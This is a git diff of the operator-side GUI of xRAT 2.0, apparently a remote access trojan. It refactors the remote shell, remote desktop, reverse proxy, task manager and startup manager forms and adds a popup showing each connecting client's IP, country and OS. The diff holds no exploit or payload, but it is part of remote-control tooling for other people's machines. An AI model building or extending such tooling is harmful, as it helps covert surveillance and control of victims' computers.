public ListViewItem GetListviewItemOfClient(Client c) + { + ListViewItem itemClient = null; + + lstClients.Invoke((MethodInvoker) delegate + { + foreach (var t in lstClients.Items.Cast() + .Where(lvi => lvi != null && (lvi.Tag as Client) != null && c.Equals((Client) lvi.Tag))) + { + itemClient = t; + break; + } + }); + + return itemClient; + } + + public Client[] GetSelectedClients() { List clients = new List(); - if (lstClients.SelectedItems.Count == 0) return clients.ToArray(); - lstClients.Invoke((MethodInvoker)delegate { - clients.AddRange(lstClients.SelectedItems.Cast().Where(lvi => lvi != null && (lvi.Tag as Client) != null).Select(lvi => (Client)lvi.Tag)); + lock (_lockClients) + { + if (lstClients.SelectedItems.Count == 0) return; + clients.AddRange( + lstClients.SelectedItems.Cast() + .Where(lvi => lvi != null && (lvi.Tag as Client) != null) + .Select(lvi => (Client) lvi.Tag)); + } }); return clients.ToArray(); } + public void ShowPopup(Client c) + { + this.Invoke((MethodInvoker)delegate + { + nIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country), + string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), + c.Value.OperatingSystem), ToolTipIcon.Info); + }); + } + private void lstClients_ColumnClick(object sender, ColumnClickEventArgs e) { // Determine if clicked column is already the column that is being sorted. diff --git a/Server/Forms/FrmMain.resx b/Server/Forms/FrmMain.resx index b6b0961c..37d49c06 100644 --- a/Server/Forms/FrmMain.resx +++ b/Server/Forms/FrmMain.resx @@ -408,7 +408,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY - sQAAAk1TRnQBSQFMAgEB+AEAAUgBBwFIAQcBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + sQAAAk1TRnQBSQFMAgEB+AEAAVgBBwFYAQcBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ diff --git a/Server/Forms/FrmRemoteDesktop.Designer.cs b/Server/Forms/FrmRemoteDesktop.Designer.cs index 88216292..fe3c78de 100644 --- a/Server/Forms/FrmRemoteDesktop.Designer.cs +++ b/Server/Forms/FrmRemoteDesktop.Designer.cs @@ -197,7 +197,6 @@ private void InitializeComponent() private System.Windows.Forms.Button btnStart; private System.Windows.Forms.Button btnStop; - public System.Windows.Forms.PictureBox picDesktop; private System.Windows.Forms.TrackBar barQuality; private System.Windows.Forms.Label lblQuality; private System.Windows.Forms.Label lblQualityShow; @@ -205,6 +204,7 @@ private void InitializeComponent() private System.Windows.Forms.Panel panelTop; private System.Windows.Forms.Button btnHide; private System.Windows.Forms.Button btnShow; - public System.Windows.Forms.ComboBox cbMonitors; + private System.Windows.Forms.PictureBox picDesktop; + private System.Windows.Forms.ComboBox cbMonitors; } } \ No newline at end of file diff --git a/Server/Forms/FrmRemoteDesktop.cs b/Server/Forms/FrmRemoteDesktop.cs index 19b3d383..4992158d 100644 --- a/Server/Forms/FrmRemoteDesktop.cs +++ b/Server/Forms/FrmRemoteDesktop.cs @@ -1,4 +1,6 @@ using System; +using System.CodeDom; +using System.Drawing; using System.Threading; using System.Windows.Forms; using xServer.Core; @@ -90,6 +92,50 @@ private void GetDesktop() _keepRunning = false; } + public void AddMonitors(int montiors) + { + try + { + cbMonitors.Invoke((MethodInvoker) delegate + { + for (int i = 0; i < montiors; i++) + cbMonitors.Items.Add(string.Format("Monitor {0}", i + 1)); + cbMonitors.SelectedIndex = 0; + }); + } + catch (InvalidOperationException) + { + } + catch (Exception ex) + { + MessageBox.Show( + string.Format( + "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", + ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + public void UpdateImage(Bitmap bmp) + { + try + { + picDesktop.Invoke((MethodInvoker) delegate + { + picDesktop.Image = bmp; + }); + } + catch (InvalidOperationException) + { + } + catch (Exception ex) + { + MessageBox.Show( + string.Format( + "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", + ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + private void FrmRemoteDesktop_FormClosing(object sender, FormClosingEventArgs e) { _keepRunning = false; diff --git a/Server/Forms/FrmRemoteShell.Designer.cs b/Server/Forms/FrmRemoteShell.Designer.cs index cb9a2808..fbfcfcda 100644 --- a/Server/Forms/FrmRemoteShell.Designer.cs +++ b/Server/Forms/FrmRemoteShell.Designer.cs @@ -41,12 +41,12 @@ private void InitializeComponent() this.txtConsoleOutput.Font = new System.Drawing.Font("Consolas", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.txtConsoleOutput.ForeColor = System.Drawing.Color.WhiteSmoke; this.txtConsoleOutput.Location = new System.Drawing.Point(0, 0); - this.txtConsoleOutput.Multiline = true; this.txtConsoleOutput.Name = "txtConsoleOutput"; this.txtConsoleOutput.ReadOnly = true; this.txtConsoleOutput.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; this.txtConsoleOutput.Size = new System.Drawing.Size(637, 307); this.txtConsoleOutput.TabIndex = 1; + this.txtConsoleOutput.Text = ""; this.txtConsoleOutput.TextChanged += new System.EventHandler(this.txtConsoleOutput_TextChanged); this.txtConsoleOutput.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtConsoleOutput_KeyPress); // @@ -64,7 +64,7 @@ private void InitializeComponent() this.txtConsoleInput.TabIndex = 0; this.txtConsoleInput.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtConsoleInput_KeyDown); // - // frmRemoteShell + // FrmRemoteShell // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; @@ -76,7 +76,7 @@ private void InitializeComponent() this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.MaximizeBox = false; this.MinimizeBox = false; - this.Name = "frmRemoteShell"; + this.Name = "FrmRemoteShell"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "xRAT 2.0 - Remote Shell []"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteShell_FormClosing); @@ -89,6 +89,6 @@ private void InitializeComponent() #endregion private System.Windows.Forms.TextBox txtConsoleInput; - public System.Windows.Forms.RichTextBox txtConsoleOutput; + private System.Windows.Forms.RichTextBox txtConsoleOutput; } } \ No newline at end of file diff --git a/Server/Forms/FrmRemoteShell.cs b/Server/Forms/FrmRemoteShell.cs index 25fcb7e0..9b9a6425 100644 --- a/Server/Forms/FrmRemoteShell.cs +++ b/Server/Forms/FrmRemoteShell.cs @@ -2,7 +2,6 @@ using System.Windows.Forms; using xServer.Core; using System.Drawing; -using System.Linq; namespace xServer.Forms { @@ -26,17 +25,6 @@ public FrmRemoteShell(Client c) txtConsoleOutput.AppendText(">> Type 'exit' to close this session" + Environment.NewLine); } - public void PrintMessage(string message) - { - this.txtConsoleOutput.AppendText(message); - } - - public void PrintError(string errorMessage) - { - txtConsoleOutput.SelectionColor = Color.Red; - txtConsoleOutput.AppendText(errorMessage); - } - private void FrmRemoteShell_Load(object sender, EventArgs e) { this.DoubleBuffered = true; @@ -106,5 +94,48 @@ private void txtConsoleOutput_KeyPress(object sender, KeyPressEventArgs e) txtConsoleInput.ScrollToCaret(); } } + + public void PrintMessage(string message) + { + try + { + txtConsoleOutput.Invoke((MethodInvoker)delegate + { + txtConsoleOutput.AppendText(message); + }); + } + catch (InvalidOperationException) + { + } + catch (Exception ex) + { + MessageBox.Show( + string.Format( + "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", + ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + public void PrintError(string errorMessage) + { + try + { + txtConsoleOutput.Invoke((MethodInvoker)delegate + { + txtConsoleOutput.SelectionColor = Color.Red; + txtConsoleOutput.AppendText(errorMessage); + }); + } + catch (InvalidOperationException) + { + } + catch (Exception ex) + { + MessageBox.Show( + string.Format( + "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", + ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } } } \ No newline at end of file diff --git a/Server/Forms/FrmReverseProxy.cs b/Server/Forms/FrmReverseProxy.cs index 9b003747..8d35f54c 100644 --- a/Server/Forms/FrmReverseProxy.cs +++ b/Server/Forms/FrmReverseProxy.cs @@ -1,5 +1,4 @@ using System; -using System.Collections.Generic; using System.Windows.Forms; using xServer.Core; using xServer.Core.ReverseProxy; @@ -9,33 +8,33 @@ namespace xServer.Forms { public partial class FrmReverseProxy : Form { - private readonly Client[] clients; + private readonly Client[] _clients; private ReverseProxyServer SocksServer { get; set; } private delegate void Invoky(); - private ReverseProxyClient[] OpenConnections; - private Timer RefreshTimer; + private ReverseProxyClient[] _openConnections; + private Timer _refreshTimer; public FrmReverseProxy(Client[] clients) { InitializeComponent(); - this.clients = clients; + this._clients = clients; - for(int i = 0; i < clients.Length; i++) - clients[i].Value.FrmProxy = this; + foreach (Client t in clients) + t.Value.FrmProxy = this; } private void FrmReverseProxy_Load(object sender, EventArgs e) { - if (clients.Length > 1) + if (_clients.Length > 1) { this.Text = string.Format("xRAT 2.0 - Reverse Proxy [Load-Balancer is active]"); - lblLoadBalance.Text = "The Load Balancer is active, " + clients.Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works"; + lblLoadBalance.Text = "The Load Balancer is active, " + _clients.Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works"; } - else if (clients.Length == 1) + else if (_clients.Length == 1) { - this.Text = string.Format("xRAT 2.0 - Reverse Proxy [{0}:{1}]", clients[0].EndPoint.Address.ToString(), clients[0].EndPoint.Port.ToString()); + this.Text = string.Format("xRAT 2.0 - Reverse Proxy [{0}:{1}]", _clients[0].EndPoint.Address.ToString(), _clients[0].EndPoint.Port.ToString()); lblLoadBalance.Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer"; } @@ -48,18 +47,21 @@ private void btnStart_Click(object sender, EventArgs e) SocksServer = new ReverseProxyServer(); SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; SocksServer.OnUpdateConnection += socksServer_onUpdateConnection; - SocksServer.StartServer(clients, "0.0.0.0", (int)nudServerPort.Value); + SocksServer.StartServer(_clients, "0.0.0.0", (int)nudServerPort.Value); btnStart.Enabled = false; btnStop.Enabled = true; - RefreshTimer = new Timer(); - RefreshTimer.Tick += RefreshTimer_Tick; - RefreshTimer.Interval = 100; - RefreshTimer.Start(); + _refreshTimer = new Timer(); + _refreshTimer.Tick += RefreshTimer_Tick; + _refreshTimer.Interval = 100; + _refreshTimer.Start(); } catch (Exception ex) { - MessageBox.Show(ex.Message); + MessageBox.Show( + string.Format( + "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", + ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); btnStop_Click(sender, null); } } @@ -70,8 +72,8 @@ void RefreshTimer_Tick(object sender, EventArgs e) { lock (SocksServer) { - this.OpenConnections = SocksServer.OpenConnections; - LvConnections.VirtualListSize = this.OpenConnections.Length; + this._openConnections = SocksServer.OpenConnections; + LvConnections.VirtualListSize = this._openConnections.Length; LvConnections.Refresh(); } } @@ -90,8 +92,8 @@ void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient) private void btnStop_Click(object sender, EventArgs e) { - if (RefreshTimer != null) - RefreshTimer.Stop(); + if (_refreshTimer != null) + _refreshTimer.Stop(); btnStart.Enabled = true; btnStop.Enabled = false; if (SocksServer != null) @@ -110,10 +112,10 @@ private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e) //Stop the proxy server if still active btnStop_Click(sender, null); - for (int i = 0; i < clients.Length; i++) + for (int i = 0; i < _clients.Length; i++) { - if (clients[i].Value != null) - clients[i].Value.FrmProxy = null; + if (_clients[i].Value != null) + _clients[i].Value.FrmProxy = null; } } @@ -126,9 +128,9 @@ private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualIte { lock (SocksServer) { - if (e.ItemIndex < OpenConnections.Length) + if (e.ItemIndex < _openConnections.Length) { - ReverseProxyClient Connection = OpenConnections[e.ItemIndex]; + ReverseProxyClient Connection = _openConnections[e.ItemIndex]; e.Item = new ListViewItem(new string[] { @@ -156,12 +158,12 @@ private void killConnectionToolStripMenuItem_Click(object sender, EventArgs e) foreach (int index in items) { - if (index < OpenConnections.Length) + if (index < _openConnections.Length) { - ReverseProxyClient Connection = OpenConnections[index]; - if (Connection != null) + ReverseProxyClient connection = _openConnections[index]; + if (connection != null) { - Connection.Disconnect(); + connection.Disconnect(); } } } diff --git a/Server/Forms/FrmStartupManager.Designer.cs b/Server/Forms/FrmStartupManager.Designer.cs index 13b8b086..5f6442e2 100644 --- a/Server/Forms/FrmStartupManager.Designer.cs +++ b/Server/Forms/FrmStartupManager.Designer.cs @@ -113,12 +113,12 @@ private void InitializeComponent() #endregion - public Controls.ListViewEx lstStartupItems; private System.Windows.Forms.ColumnHeader hName; private System.Windows.Forms.ColumnHeader hPath; private System.Windows.Forms.ContextMenuStrip ctxtMenu; private System.Windows.Forms.ToolStripMenuItem ctxtAddEntry; private System.Windows.Forms.ToolStripMenuItem ctxtRemoveEntry; + private Controls.ListViewEx lstStartupItems; } } \ No newline at end of file diff --git a/Server/Forms/FrmStartupManager.cs b/Server/Forms/FrmStartupManager.cs index 8a1d3bf7..b5819967 100644 --- a/Server/Forms/FrmStartupManager.cs +++ b/Server/Forms/FrmStartupManager.cs @@ -1,4 +1,5 @@ -using System.Linq; +using System; +using System.Linq; using System.Windows.Forms; using xServer.Core; using xServer.Core.Misc; @@ -86,11 +87,49 @@ private void ctxtRemoveEntry_Click(object sender, System.EventArgs e) if (modified > 0 && _connectClient != null) { - new Core.Packets.ServerPackets.GetStartupItems().Execute(_connectClient); lstStartupItems.Items.Clear(); + new Core.Packets.ServerPackets.GetStartupItems().Execute(_connectClient); } } + public void AddAutostartItemToListview(ListViewItem lvi) + { + try + { + lstStartupItems.Invoke((MethodInvoker) delegate + { + lstStartupItems.Items.Add(lvi); + }); + } + catch (InvalidOperationException) + { + } + catch (Exception ex) + { + MessageBox.Show( + string.Format( + "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", + ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + public ListViewGroup GetGroup(int group) + { + ListViewGroup g = null; + try + { + lstStartupItems.Invoke((MethodInvoker) delegate + { + g = lstStartupItems.Groups[group]; + }); + } + catch (InvalidOperationException) + { + return null; + } + return g; + } + private void lstStartupItems_ColumnClick(object sender, ColumnClickEventArgs e) { // Determine if clicked column is already the column that is being sorted. diff --git a/Server/Forms/FrmSystemInformation.Designer.cs b/Server/Forms/FrmSystemInformation.Designer.cs index 46ad0805..e4a6f553 100644 --- a/Server/Forms/FrmSystemInformation.Designer.cs +++ b/Server/Forms/FrmSystemInformation.Designer.cs @@ -32,7 +32,7 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmSystemInformation)); - this.lstSystem = new ListViewEx(); + this.lstSystem = new xServer.Controls.ListViewEx(); this.hComponent = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.ctxtMenu = new System.Windows.Forms.ContextMenuStrip(this.components); @@ -70,17 +70,17 @@ private void InitializeComponent() this.ctxtMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.ctxtCopy}); this.ctxtMenu.Name = "ctxtMenu"; - this.ctxtMenu.Size = new System.Drawing.Size(153, 48); + this.ctxtMenu.Size = new System.Drawing.Size(103, 26); // // ctxtCopy // this.ctxtCopy.Image = global::xServer.Properties.Resources.copy; this.ctxtCopy.Name = "ctxtCopy"; - this.ctxtCopy.Size = new System.Drawing.Size(152, 22); + this.ctxtCopy.Size = new System.Drawing.Size(102, 22); this.ctxtCopy.Text = "Copy"; this.ctxtCopy.Click += new System.EventHandler(this.ctxtCopy_Click); // - // frmSystemInformation + // FrmSystemInformation // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; @@ -91,7 +91,7 @@ private void InitializeComponent() this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.MaximizeBox = false; this.MinimizeBox = false; - this.Name = "frmSystemInformation"; + this.Name = "FrmSystemInformation"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "xRAT 2.0 - System Information []"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmSystemInformation_FormClosing); @@ -105,8 +105,8 @@ private void InitializeComponent() private System.Windows.Forms.ColumnHeader hComponent; private System.Windows.Forms.ColumnHeader hValue; - public Controls.ListViewEx lstSystem; private System.Windows.Forms.ContextMenuStrip ctxtMenu; private System.Windows.Forms.ToolStripMenuItem ctxtCopy; + private ListViewEx lstSystem; } } \ No newline at end of file diff --git a/Server/Forms/FrmSystemInformation.cs b/Server/Forms/FrmSystemInformation.cs index 8c6d9770..1139d262 100644 --- a/Server/Forms/FrmSystemInformation.cs +++ b/Server/Forms/FrmSystemInformation.cs @@ -1,6 +1,8 @@ using System; +using System.Linq; using System.Windows.Forms; using xServer.Core; +using xServer.Core.Extensions; namespace xServer.Forms { @@ -56,9 +58,7 @@ private void ctxtCopy_Click(object sender, EventArgs e) foreach (ListViewItem lvi in lstSystem.SelectedItems) { - foreach (ListViewItem.ListViewSubItem lvs in lvi.SubItems) - output += lvs.Text + " : "; - + output = lvi.SubItems.Cast().Aggregate(output, (current, lvs) => current + (lvs.Text + " : ")); output = output.Remove(output.Length - 3); output = output + "\r\n"; } @@ -66,5 +66,27 @@ private void ctxtCopy_Click(object sender, EventArgs e) Clipboard.SetText(output); } } + + public void AddItems(ListViewItem[] lviCollection) + { + try + { + lstSystem.Invoke((MethodInvoker) delegate + { + lstSystem.Items.RemoveAt(2); // Loading... Information + + foreach (var lviItem in lviCollection) + { + if (lviItem != null) + lstSystem.Items.Add(lviItem); + } + + lstSystem.AutosizeColumns(); + }); + } + catch (InvalidOperationException) + { + } + } } } \ No newline at end of file diff --git a/Server/Forms/FrmTaskManager.Designer.cs b/Server/Forms/FrmTaskManager.Designer.cs index 4055f31e..b1381ee3 100644 --- a/Server/Forms/FrmTaskManager.Designer.cs +++ b/Server/Forms/FrmTaskManager.Designer.cs @@ -35,12 +35,12 @@ private void InitializeComponent() this.ctxtMenu = new System.Windows.Forms.ContextMenuStrip(this.components); this.ctxtKillProcess = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtStartProcess = new System.Windows.Forms.ToolStripMenuItem(); + this.ctxtLine = new System.Windows.Forms.ToolStripSeparator(); this.ctxtRefresh = new System.Windows.Forms.ToolStripMenuItem(); - this.lstTasks = new ListViewEx(); + this.lstTasks = new xServer.Controls.ListViewEx(); this.hProcessname = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hPID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hTitle = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.ctxtLine = new System.Windows.Forms.ToolStripSeparator(); this.ctxtMenu.SuspendLayout(); this.SuspendLayout(); // @@ -52,13 +52,13 @@ private void InitializeComponent() this.ctxtLine, this.ctxtRefresh}); this.ctxtMenu.Name = "ctxtMenu"; - this.ctxtMenu.Size = new System.Drawing.Size(153, 98); + this.ctxtMenu.Size = new System.Drawing.Size(142, 76); // // ctxtKillProcess // this.ctxtKillProcess.Image = global::xServer.Properties.Resources.cancel; this.ctxtKillProcess.Name = "ctxtKillProcess"; - this.ctxtKillProcess.Size = new System.Drawing.Size(152, 22); + this.ctxtKillProcess.Size = new System.Drawing.Size(141, 22); this.ctxtKillProcess.Text = "Kill Process"; this.ctxtKillProcess.Click += new System.EventHandler(this.ctxtKillProcess_Click); // @@ -66,15 +66,20 @@ private void InitializeComponent() // this.ctxtStartProcess.Image = global::xServer.Properties.Resources.run; this.ctxtStartProcess.Name = "ctxtStartProcess"; - this.ctxtStartProcess.Size = new System.Drawing.Size(152, 22); + this.ctxtStartProcess.Size = new System.Drawing.Size(141, 22); this.ctxtStartProcess.Text = "Start Process"; this.ctxtStartProcess.Click += new System.EventHandler(this.ctxtStartProcess_Click); // + // ctxtLine + // + this.ctxtLine.Name = "ctxtLine"; + this.ctxtLine.Size = new System.Drawing.Size(138, 6); + // // ctxtRefresh // this.ctxtRefresh.Image = global::xServer.Properties.Resources.refresh; this.ctxtRefresh.Name = "ctxtRefresh"; - this.ctxtRefresh.Size = new System.Drawing.Size(152, 22); + this.ctxtRefresh.Size = new System.Drawing.Size(141, 22); this.ctxtRefresh.Text = "Refresh"; this.ctxtRefresh.Click += new System.EventHandler(this.ctxtRefresh_Click); // @@ -110,12 +115,7 @@ private void InitializeComponent() this.hTitle.Text = "Title"; this.hTitle.Width = 115; // - // ctxtLine - // - this.ctxtLine.Name = "ctxtLine"; - this.ctxtLine.Size = new System.Drawing.Size(149, 6); - // - // frmTaskManager + // FrmTaskManager // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; @@ -125,7 +125,7 @@ private void InitializeComponent() this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.MinimizeBox = false; this.MinimumSize = new System.Drawing.Size(351, 449); - this.Name = "frmTaskManager"; + this.Name = "FrmTaskManager"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "xRAT 2.0 - Task Manager []"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmTaskManager_FormClosing); @@ -141,10 +141,10 @@ private void InitializeComponent() private System.Windows.Forms.ToolStripMenuItem ctxtKillProcess; private System.Windows.Forms.ToolStripMenuItem ctxtRefresh; private System.Windows.Forms.ToolStripMenuItem ctxtStartProcess; - public Controls.ListViewEx lstTasks; private System.Windows.Forms.ColumnHeader hProcessname; private System.Windows.Forms.ColumnHeader hPID; private System.Windows.Forms.ColumnHeader hTitle; private System.Windows.Forms.ToolStripSeparator ctxtLine; + private ListViewEx lstTasks; } } \ No newline at end of file diff --git a/Server/Forms/FrmTaskManager.cs b/Server/Forms/FrmTaskManager.cs index 579fa05e..88fcb1ef 100644 --- a/Server/Forms/FrmTaskManager.cs +++ b/Server/Forms/FrmTaskManager.cs @@ -66,6 +66,48 @@ private void ctxtRefresh_Click(object sender, EventArgs e) } } + public void ClearListview() + { + try + { + lstTasks.Invoke((MethodInvoker)delegate + { + lstTasks.Items.Clear(); + }); + } + catch (InvalidOperationException) + { + } + catch (Exception ex) + { + MessageBox.Show( + string.Format( + "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", + ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + public void AddProcessToListview(ListViewItem lvi) + { + try + { + lstTasks.Invoke((MethodInvoker)delegate + { + lstTasks.Items.Add(lvi); + }); + } + catch (InvalidOperationException) + { + } + catch (Exception ex) + { + MessageBox.Show( + string.Format( + "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", + ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + private void lstTasks_ColumnClick(object sender, ColumnClickEventArgs e) { // Determine if clicked column is already the column that is being sorted.